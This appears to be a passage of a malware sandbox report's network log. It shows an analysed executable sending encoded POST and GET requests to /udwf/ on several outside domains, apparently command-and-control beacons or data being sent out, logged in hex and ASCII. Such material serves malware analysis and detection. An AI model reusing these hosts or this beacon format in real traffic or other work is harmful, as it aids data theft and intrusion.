X-Request-ID: 113f9483-cc9b-4298-a502-d546ed1fa34a X-Download-Options: noopen X-XSS-Protection: 1; mode=block X-Permitted-Cross-Domain-Policies: none X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=B%2FjARrOFzBauoLACLG6hSrB3yPh8X4Wq1cLmfvM2rqdXI7QCcSRUe2dLimG160P9PIvSdU2%2B7zLGuiP5V7gRwaJqLwvnWgQ127vLjWFicqv2K Data Raw: Data Ascii:
Nov 10, 2023 09:27:53.617347002 CET	103	IN	Data Raw: 64 37 56 6a 68 45 56 76 6f 41 52 74 6d 77 78 56 63 6e 48 4e 6f 25 32 42 43 35 6b 33 6f 77 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c 3a 20 7b Data Ascii: d7VjhEVvoARtmwxVcnHNo%2BC5k3ow%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}Server-Timing: cfRequestDuration;dur=75.999975Server: cloudflareCF-RAY: 823ceb3b2e4808ff-SEA
Nov 10, 2023 09:27:53.617383957 CET	103	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.10	49755	168.76.252.99	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:30:08.715059042 CET	311	OUT	GET /udwf/?G0Yxd2Q=2Pknl6RP8eYVb4X6Jw71HBsX3EzDU15MYpkSqP6Wnui62FTd2NB7+fGHhL+jrHNDvCcs8SUxdlzs7m6tHUr/+njhj/XBKtkfTg==&pp=dZa4 HTTP/1.1 Host: www.lxdedu.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Nov 10, 2023 09:30:09.068584919 CET	312	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.5 Date: Fri, 10 Nov 2023 08:30:07 GMT Connection: close Content-Length: 596 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 76 61 72 20 4c 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2c 44 3d 64 6f 63 75 6d 65 6e 74 2c 61 3d 4c 2e 70 61 74 68 6e 61 6d 65 2c 62 3d 22 22 2c 63 3d 22 2f 22 2c 64 3d 22 6c 65 6e 67 74 68 22 3b 0d 0a 61 3d 61 2e 73 70 6c 69 74 28 63 29 3b 0d 0a 66 6f 72 28 76 61 72 20 69 3d 31 3b 69 3c 61 5b 64 5d 2d 32 3b 69 2b 2b 29 7b 62 2b 3d 63 2b 61 5b 69 5d 3b 7d 0d 0a 62 2b 3d 63 3b 0d 0a 44 2e 77 72 69 74 65 28 22 42 61 63 6b 20 74 6f 20 3c 61 20 68 72 65 66 3d 5c 22 22 2b 62 2b 22 5c 22 3e 22 2b 4c 2e 68 6f 73 74 2b 62 2b 22 3c 2f 61 3e 20 2c 20 77 61 69 74 69 6e 67 2e 2e 2e 2e 2e 22 29 3b 0d 0a 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 4c 2e 68 72 65 66 3d 62 3b 7d 2c 22 32 30 30 22 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title>404 - </title></head><body><script type="text/javascript">var L=window.location,D=document,a=L.pathname,b="",c="/",d="length";a=a.split(c);for(var i=1;i<a[d]-2;i++){b+=c+a[i];}b+=c;D.write("Back to <a href=\""+b+"\">"+L.host+b+"</a> , waiting.....");setTimeout(function(){L.href=b;},"200");</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.10	49756	8.212.101.233	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:30:15.396548986 CET	313	OUT	POST /udwf/ HTTP/1.1 Host: www.iwhrkc.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.iwhrkc.shop Referer: http://www.iwhrkc.shop/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 188 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 6a 59 2b 2f 45 63 64 4e 55 38 4d 67 54 6f 68 74 64 6a 77 51 79 4b 69 57 71 77 2b 43 2b 6c 4f 54 6e 41 6b 74 43 4b 33 49 41 77 72 68 57 6a 49 6f 48 37 62 34 2f 49 43 73 31 5a 53 43 75 42 37 78 74 4b 44 35 6e 44 31 62 42 37 36 36 36 51 73 72 38 62 79 77 4e 45 58 59 43 53 43 34 76 37 5a 4d 36 53 6a 31 4c 44 6d 32 2f 73 59 61 2f 72 72 33 67 66 39 30 4b 54 35 46 37 70 75 56 31 71 50 38 69 58 69 6b 45 61 48 6e 52 2f 49 33 30 38 52 6f 50 65 72 77 56 33 71 4c 4b 47 41 54 65 59 57 33 44 63 71 6c 4d 45 68 77 38 54 73 6b 72 4e 36 65 68 41 3d 3d Data Ascii: G0Yxd2Q=jY+/EcdNU8MgTohtdjwQyKiWqw+C+lOTnAktCK3IAwrhWjIoH7b4/ICs1ZSCuB7xtKD5nD1bB7666Qsr8bywNEXYCSC4v7ZM6Sj1LDm2/sYa/rr3gf90KT5F7puV1qP8iXikEaHnR/I308RoPerwV3qLKGATeYW3DcqlMEhw8TskrN6ehA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.10	49758	8.212.101.233	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:30:20.766788006 CET	315	OUT	POST /udwf/ HTTP/1.1 Host: www.iwhrkc.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.iwhrkc.shop Referer: http://www.iwhrkc.shop/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 1220 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 6a 59 2b 2f 45 63 64 4e 55 38 4d 67 54 49 52 74 65 45 45 51 36 4b 69 56 32 67 2b 43 6b 56 4f 66 6e 41 6f 74 43 4c 43 56 41 47 62 68 57 77 77 6f 45 64 48 34 39 49 43 73 69 4a 53 47 68 68 36 36 74 4b 58 50 6e 42 38 6d 42 2b 69 36 36 33 77 72 73 6f 61 76 43 55 58 57 50 79 43 37 76 37 5a 5a 36 53 7a 4c 4c 44 7a 62 2f 73 41 61 2f 59 44 33 33 2f 39 31 57 44 35 46 37 70 75 5a 31 71 4f 66 69 57 4b 38 45 65 4b 36 52 4e 51 33 33 64 64 6f 4e 2f 72 7a 5a 6e 71 50 46 57 42 44 4e 49 2b 34 4e 65 4f 62 64 55 64 79 6e 47 39 33 6b 5a 2f 73 31 65 6f 33 61 52 6c 4a 73 6f 48 64 4d 58 5a 47 56 73 30 4c 5a 55 31 70 71 48 6e 6e 62 61 35 56 39 35 73 65 59 48 68 59 2b 74 4d 62 4e 4e 64 38 6d 6a 34 46 6b 75 6b 38 4c 77 42 4c 34 78 6a 78 33 6a 4b 33 78 59 52 63 69 36 4d 30 69 45 57 4e 77 78 6d 31 58 55 69 71 46 6f 34 32 72 77 6e 7a 39 6d 4c 39 43 50 4c 49 46 69 45 79 52 43 32 46 51 37 69 61 54 54 41 4c 4c 34 46 68 77 58 4e 64 79 6d 46 36 37 59 63 78 64 32 49 69 56 53 51 56 58 48 2b 6f 52 6f 2b 44 4c 57 6c 6d 6e 6b 52 61 2f 2f 7a 39 2b 39 31 79 55 5a 6d 31 43 4e 53 7a 6d 49 76 48 68 4c 30 53 36 54 6b 2b 66 4b 78 5a 31 36 38 6e 69 65 47 50 36 69 35 39 5a 52 62 7a 44 4d 37 33 36 59 52 39 48 74 64 6d 71 45 76 41 79 78 77 43 69 5a 57 57 59 36 6a 67 65 67 6a 48 48 79 6e 2b 51 33 64 6c 75 4e 58 52 68 5a 47 2f 4d 51 4d 36 53 45 56 2f 47 65 65 79 76 75 39 79 38 77 51 53 52 7a 71 6a 4b 42 68 62 62 38 57 7a 30 4f 33 4b 4e 75 2f 4b 46 70 70 58 35 63 42 4a 48 6f 65 4e 61 74 77 6d 33 65 55 4f 4d 51 30 7a 4f 39 78 45 39 61 70 43 4a 4d 6d 4b 61 38 4d 64 53 76 72 58 72 76 38 63 61 35 59 59 33 38 59 79 33 64 47 43 63 66 48 68 57 7a 6d 51 46 30 6a 6e 66 59 49 6b 6c 74 42 50 6d 65 36 49 72 61 6c 65 32 72 43 4f 65 45 7a 47 73 33 71 69 52 59 32 41 7a 79 35 74 4f 63 6c 79 6f 46 42 58 36 53 74 76 56 62 4f 34 55 49 77 75 6f 68 63 4a 68 6a 35 69 32 67 75 4b 51 49 51 76 73 34 64 35 59 6a 37 59 62 69 55 76 41 37 6a 41 32 59 6f 75 6e 47 53 73 45 33 34 57 45 58 73 6e 49 62 76 71 57 34 67 4d 30 51 39 41 70 4d 39 75 36 64 30 79 77 49 58 68 68 47 74 71 76 30 66 4d 77 72 55 66 73 56 71 56 70 42 32 72 68 75 6c 4a 61 62 37 50 64 36 45 48 54 43 66 4b 62 72 44 65 45 31 4e 66 35 43 38 43 54 4a 53 75 44 62 6e 6a 5a 37 6c 2f 72 37 6e 2b 59 64 76 2b 4d 4b 39 71 79 36 38 6d 6b 64 68 33 44 4d 58 76 71 30 54 47 4e 34 4c 4d 46 6c 6a 36 56 75 44 55 70 2f 67 70 67 6b 61 61 6f 55 74 71 64 67 5a 32 56 71 5a 32 35 51 43 66 53 4c 66 52 2b 35 4a 43 6f 2f 57 75 52 65 50 74 58 5a 38 36 5a 6c 34 6a 33 48 62 53 43 6f 33 46 42 43 36 58 6e 71 6a 76 44 50 4f 59 44 65 61 39 57 32 59 72 36 54 6c 44 44 31 68 44 44 47 66 48 79 37 4a 31 6c 31 2f 30 69 4d 7a 77 33 32 39 76 50 46 38 77 32 61 74 50 45 6a 36 79 67 44 6d 68 79 35 2f 4d 62 2b 74 43 31 56 64 38 35 57 6e 7a 30 2b 6f 4b 2f 4e 4a 70 2f 42 37 54 68 4e 31 7a 51 33 6a 42 33 55 59 43 71 71 34 64 70 43 2f 6d 33 48 6b 56 43 47 4f 6f 72 2b 71 35 6f 61 63 55 4f 57 75 63 78 71 2f 45 50 6d 74 6d 6a 57 56 4f 44 73 52 79 74 5a 49 71 53 56 58 66 64 4e 76 32 4c 36 2f 66 6a 6e 56 38 35 2f 65 76 4f 4a 35 58 7a 32 74 73 35 52 36 72 68 48 6d 66 32 72 50 58 6d 4c 70 79 66 58 7a 75 50 55 41 2f 74 76 46 75 46 51 54 47 78 50 6a 32 48 31 66 56 34 46 54 41 51 4d 36 4d 63 56 72 57 36 38 33 75 63 64 4c 4a 32 51 4a 78 77 66 74 66 4e 55 78 6e 42 6f 79 6a 53 6a 6a 55 7a 75 53 4e 6d 37 6d 51 63 63 4b 53 6b 63 44 76 58 77 6f 6e 7a 65 68 6e 32 54 61 6e 4d 53 70 6a 36 44 6e 58 48 4f 68 76 4d 72 56 36 4d 78 6f 78 2f 4a 52 53 50 53 61 6d 58 41 55 35 39 59 53 42 68 53 4b 4a 78 61 6c 6a 71 67 44 71 44 54 6f 6b 50 35 50 6b 35 32 57 47 36 47 70 6c 35 4a 72 4a 2b 78 38 58 48 57 57 4c 45 65 2f 69 58 70 59 61 70 30 43 79 65 6a 56 6c 71 41 49 62 Data Ascii: G0Yxd2Q=jY+/EcdNU8MgTIRteEEQ6KiV2g+CkVOfnAotCLCVAGbhWwwoEdH49ICsiJSGhh66tKXPnB8mB+i663wrsoavCUXWPyC7v7ZZ6SzLLDzb/sAa/YD33/91WD5F7puZ1qOfiWK8EeK6RNQ33ddoN/rzZnqPFWBDNI+4NeObdUdynG93kZ/s1eo3aRlJsoHdMXZGVs0LZU1pqHnnba5V95seYHhY+tMbNNd8mj4Fkuk8LwBL4xjx3jK3xYRci6M0iEWNwxm1XUiqFo42rwnz9mL9CPLIFiEyRC2FQ7iaTTALL4FhwXNdymF67Ycxd2IiVSQVXH+oRo+DLWlmnkRa//z9+91yUZm1CNSzmIvHhL0S6Tk+fKxZ168nieGP6i59ZRbzDM736YR9HtdmqEvAyxwCiZWWY6jgegjHHyn+Q3dluNXRhZG/MQM6SEV/Geeyvu9y8wQSRzqjKBhbb8Wz0O3KNu/KFppX5cBJHoeNatwm3eUOMQ0zO9xE9apCJMmKa8MdSvrXrv8ca5YY38Yy3dGCcfHhWzmQF0jnfYIkltBPme6Irale2rCOeEzGs3qiRY2Azy5tOclyoFBX6StvVbO4UIwuohcJhj5i2guKQIQvs4d5Yj7YbiUvA7jA2YounGSsE34WEXsnIbvqW4gM0Q9ApM9u6d0ywIXhhGtqv0fMwrUfsVqVpB2rhulJab7Pd6EHTCfKbrDeE1Nf5C8CTJSuDbnjZ7l/r7n+Ydv+MK9qy68mkdh3DMXvq0TGN4LMFlj6VuDUp/gpgkaaoUtqdgZ2VqZ25QCfSLfR+5JCo/WuRePtXZ86Zl4j3HbSCo3FBC6XnqjvDPOYDea9W2Yr6TlDD1hDDGfHy7J1l1/0iMzw329vPF8w2atPEj6ygDmhy5/Mb+tC1Vd85Wnz0+oK/NJp/B7ThN1zQ3jB3UYCqq4dpC/m3HkVCGOor+q5oacUOWucxq/EPmtmjWVODsRytZIqSVXfdNv2L6/fjnV85/evOJ5Xz2ts5R6rhHmf2rPXmLpyfXzuPUA/tvFuFQTGxPj2H1fV4FTAQM6McVrW683ucdLJ2QJxwftfNUxnBoyjSjjUzuSNm7mQccKSkcDvXwonzehn2TanMSpj6DnXHOhvMrV6Mxox/JRSPSamXAU59YSBhSKJxaljqgDqDTokP5Pk52WG6Gpl5JrJ+x8XHWWLEe/iXpYap0CyejVlqAIb

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.10	49759	8.212.101.233	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:30:23.617130041 CET	316	OUT	GET /udwf/?G0Yxd2Q=uaWfHshIK9gqRIt0eR4Tz5qfjwC0uWvEtBcNKoa2GFPJfFEePrXngeKx3tr3rBy7nKvOiQo6TdyP9ywL+/2JVArzIS+tipxZpg==&pp=dZa4 HTTP/1.1 Host: www.iwhrkc.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.10	49760	103.120.80.111	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:30:30.097944021 CET	317	OUT	POST /udwf/ HTTP/1.1 Host: www.633922.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.633922.com Referer: http://www.633922.com/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 188 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 4a 69 41 53 62 50 38 48 4e 38 36 52 7a 36 54 4a 63 6c 6d 78 53 37 6e 48 2b 32 52 33 38 4d 2b 4a 62 72 4a 46 35 50 53 59 69 61 65 6d 6e 39 37 6d 2b 75 77 50 57 39 36 2b 2f 64 6f 59 33 73 67 6c 6b 64 6a 69 74 6a 7a 62 4f 2b 62 52 67 64 75 44 30 69 48 4b 74 77 63 78 4d 34 6c 67 70 4b 6f 58 37 49 6b 77 43 52 51 65 49 4d 56 32 4c 68 46 56 62 70 31 63 63 47 78 33 72 30 43 2f 63 4c 55 2b 54 79 63 62 6a 49 6a 43 41 54 59 39 78 75 7a 49 57 64 66 69 65 73 6e 77 73 76 74 4b 62 44 53 76 42 73 68 6f 34 61 49 70 2b 39 49 79 75 57 73 49 66 41 3d 3d Data Ascii: G0Yxd2Q=JiASbP8HN86Rz6TJclmxS7nH+2R38M+JbrJF5PSYiaemn97m+uwPW96+/doY3sglkdjitjzbO+bRgduD0iHKtwcxM4lgpKoX7IkwCRQeIMV2LhFVbp1ccGx3r0C/cLU+TycbjIjCATY9xuzIWdfiesnwsvtKbDSvBsho4aIp+9IyuWsIfA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.10	49761	103.120.80.111	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:30:32.952136040 CET	318	OUT	POST /udwf/ HTTP/1.1 Host: www.633922.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.633922.com Referer: http://www.633922.com/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 208 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 4a 69 41 53 62 50 38 48 4e 38 36 52 38 37 44 4a 65 45 6d 78 43 72 6e 45 79 57 52 33 33 73 2b 4e 62 72 46 46 35 4b 79 49 69 6f 36 6d 6e 64 4c 6d 2f 71 45 50 56 39 36 2b 33 39 6f 64 7a 73 67 37 6b 64 76 45 74 6d 54 62 4f 2b 66 52 67 63 2b 44 30 54 48 4c 73 67 63 6b 48 59 6c 75 6a 71 6f 58 37 49 6b 77 43 51 30 6b 49 4d 74 32 4d 53 74 56 4a 63 42 44 55 6d 78 30 73 30 43 2f 57 72 55 6c 54 79 64 4f 6a 49 53 66 41 52 51 39 78 76 44 49 57 4f 48 6a 58 73 6e 32 6a 50 73 69 62 78 7a 31 46 65 4a 72 38 76 73 6e 6c 74 6c 53 6d 6a 41 62 59 36 77 6c 71 50 46 74 70 43 59 74 78 45 58 67 61 78 71 42 30 2b 6b 3d Data Ascii: G0Yxd2Q=JiASbP8HN86R87DJeEmxCrnEyWR33s+NbrFF5KyIio6mndLm/qEPV96+39odzsg7kdvEtmTbO+fRgc+D0THLsgckHYlujqoX7IkwCQ0kIMt2MStVJcBDUmx0s0C/WrUlTydOjISfARQ9xvDIWOHjXsn2jPsibxz1FeJr8vsnltlSmjAbY6wlqPFtpCYtxEXgaxqB0+k=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.10	49762	103.120.80.111	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:30:36.963881016 CET	321	OUT	POST /udwf/ HTTP/1.1 Host: www.633922.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.633922.com Referer: http://www.633922.com/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 1220 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 4a 69 41 53 62 50 38 48 4e 38 36 52 38 37 44 4a 65 45 6d 78 43 72 6e 45 79 57 52 33 33 73 2b 4e 62 72 46 46 35 4b 79 49 69 6f 79 6d 6e 73 72 6d 77 74 59 50 62 64 36 2b 39 64 6f 63 7a 73 68 2b 6b 64 33 49 74 6d 50 78 4f 38 58 52 6d 2b 6d 44 6a 52 2f 4c 6e 67 63 6b 61 49 6c 6a 70 4b 70 50 37 49 30 30 43 51 6b 6b 49 4d 74 32 4d 55 52 56 4c 4a 31 44 53 6d 78 33 72 30 43 7a 63 4c 56 72 54 79 55 35 6a 4d 4f 50 41 43 49 39 78 50 54 49 54 38 66 6a 57 4d 6e 30 67 50 73 36 62 78 2b 72 46 65 45 53 38 72 6b 4e 6c 71 70 53 6c 31 52 38 45 4c 55 52 33 38 64 67 78 6d 63 4f 35 6a 36 48 4f 7a 47 53 77 35 72 42 4c 57 41 7a 2b 4d 75 65 31 69 66 44 42 66 4f 52 5a 50 4f 6e 66 2f 73 32 4b 56 4b 37 52 41 72 66 52 6c 73 58 4d 7a 4a 46 6e 48 67 75 4d 7a 75 79 57 35 51 74 62 72 55 67 74 6f 45 63 4a 72 69 35 69 75 72 77 45 6b 65 41 6a 76 2b 63 51 4e 6b 34 45 53 72 63 58 64 53 64 4b 4d 63 6c 77 2f 4b 5a 4e 7a 4a 47 4b 37 68 54 48 5a 32 62 5a 74 4c 47 61 64 51 39 5a 6e 75 69 71 55 41 37 77 6a 79 4a 50 55 48 39 4a 58 4f 79 70 52 50 4d 71 6e 6e 75 7a 6f 6b 67 63 69 56 71 57 71 4f 66 74 7a 4e 54 53 75 55 58 69 71 65 76 33 76 36 53 75 4d 50 34 33 4c 4d 51 4c 55 33 6d 32 52 39 32 5a 6f 52 6e 76 64 79 72 39 49 56 78 6d 42 55 4b 4a 77 6a 43 61 4f 43 46 75 57 46 31 45 42 55 4c 42 77 68 61 53 4c 6d 64 63 57 6c 48 6a 43 34 69 58 54 74 6e 41 35 64 2b 39 75 53 41 38 67 32 45 47 58 5a 67 67 6a 67 47 48 38 32 6f 74 53 35 66 4a 38 6f 6c 6b 72 34 62 43 2f 63 30 4d 2f 33 30 72 73 63 44 63 37 44 49 78 43 45 49 34 46 38 59 69 49 62 32 50 65 44 69 6f 53 53 66 54 38 46 48 79 4d 53 39 64 47 6c 61 69 79 45 49 2b 66 63 42 53 41 64 44 59 4e 48 64 4e 31 4d 62 57 71 5a 72 76 49 64 32 31 5a 6f 44 44 35 34 6c 61 5a 37 69 52 56 37 6b 2b 5a 30 31 7a 7a 70 6d 49 70 77 69 5a 71 48 53 6e 66 70 49 6d 65 34 41 46 73 51 57 6b 53 54 34 65 39 55 4e 30 72 39 4f 74 4e 56 4e 6d 6f 70 75 6a 48 61 44 5a 46 37 53 50 4c 65 38 72 55 30 45 4c 50 70 64 75 68 49 56 43 6e 35 76 6d 39 73 31 4c 4e 58 73 4f 49 74 6e 2b 6f 7a 6d 61 2b 30 71 5a 74 2f 4d 65 7a 54 66 67 67 4b 64 50 70 55 47 38 39 7a 5a 78 78 52 53 61 77 5a 6e 51 48 4a 50 6f 6f 48 45 48 54 56 37 57 64 4e 55 52 52 51 58 37 4f 70 50 56 50 4f 45 67 69 38 37 54 59 65 4a 39 42 73 75 38 47 62 59 42 48 64 74 49 6b 31 37 55 52 32 50 6a 38 63 31 38 50 78 4a 59 79 37 41 66 69 7a 55 58 55 66 35 61 52 5a 45 56 76 30 6b 34 4d 58 4b 56 47 58 6d 37 68 4b 4e 43 36 71 74 76 5a 5a 78 4a 72 2f 54 75 4d 73 4e 79 6c 34 4f 33 53 76 51 4c 72 36 34 42 4f 77 6e 63 50 51 37 36 36 70 6e 55 63 46 50 30 76 34 4d 79 52 4d 47 61 63 4b 31 62 59 54 6d 2f 32 4c 34 54 6d 72 70 73 4c 2b 48 77 53 51 58 6e 73 38 78 76 36 6d 64 52 31 4d 35 34 4d 6a 41 57 68 6b 55 74 46 7a 58 68 55 78 57 75 4a 72 35 4c 37 37 48 75 4f 56 73 55 6a 52 59 56 5a 59 67 42 79 57 6f 4c 32 72 37 37 6d 66 4c 4c 55 35 4b 59 67 2b 4b 6f 4d 59 48 50 65 71 36 74 74 6b 75 4b 4d 38 70 68 5a 47 4b 7a 37 6d 30 4b 61 35 77 39 77 54 2f 79 37 6e 56 38 30 62 35 56 6d 62 70 59 78 59 4e 56 67 49 37 69 35 68 61 6e 42 41 52 70 6b 4f 72 47 61 6d 70 7a 69 76 54 57 75 64 73 51 42 30 39 69 71 47 4b 57 76 4d 47 70 32 43 7a 53 72 63 57 49 76 47 51 2b 62 4d 30 66 54 67 59 4b 65 59 42 5a 4c 57 72 6f 33 62 5a 35 78 36 31 75 63 58 2f 79 74 44 46 30 4c 38 7a 70 36 54 61 41 43 35 4f 44 43 36 74 7a 4f 63 69 65 65 33 71 42 68 7a 65 64 56 76 38 66 48 72 74 4c 75 6f 6c 43 78 4f 67 7a 76 33 42 4f 4a 4f 79 38 55 56 6e 39 55 77 78 78 6a 54 6c 48 45 7a 73 43 58 6e 59 49 35 46 49 32 70 37 41 42 58 4e 6c 74 30 57 30 75 2b 68 32 4f 36 33 48 66 48 63 76 56 74 31 5a 49 39 75 36 63 78 73 4e 5a 33 62 42 42 69 54 7a 41 50 4c 68 47 63 55 50 53 30 51 74 75 77 36 46 59 78 6a 33 35 5a 67 57 47 57 64 33 Data Ascii: 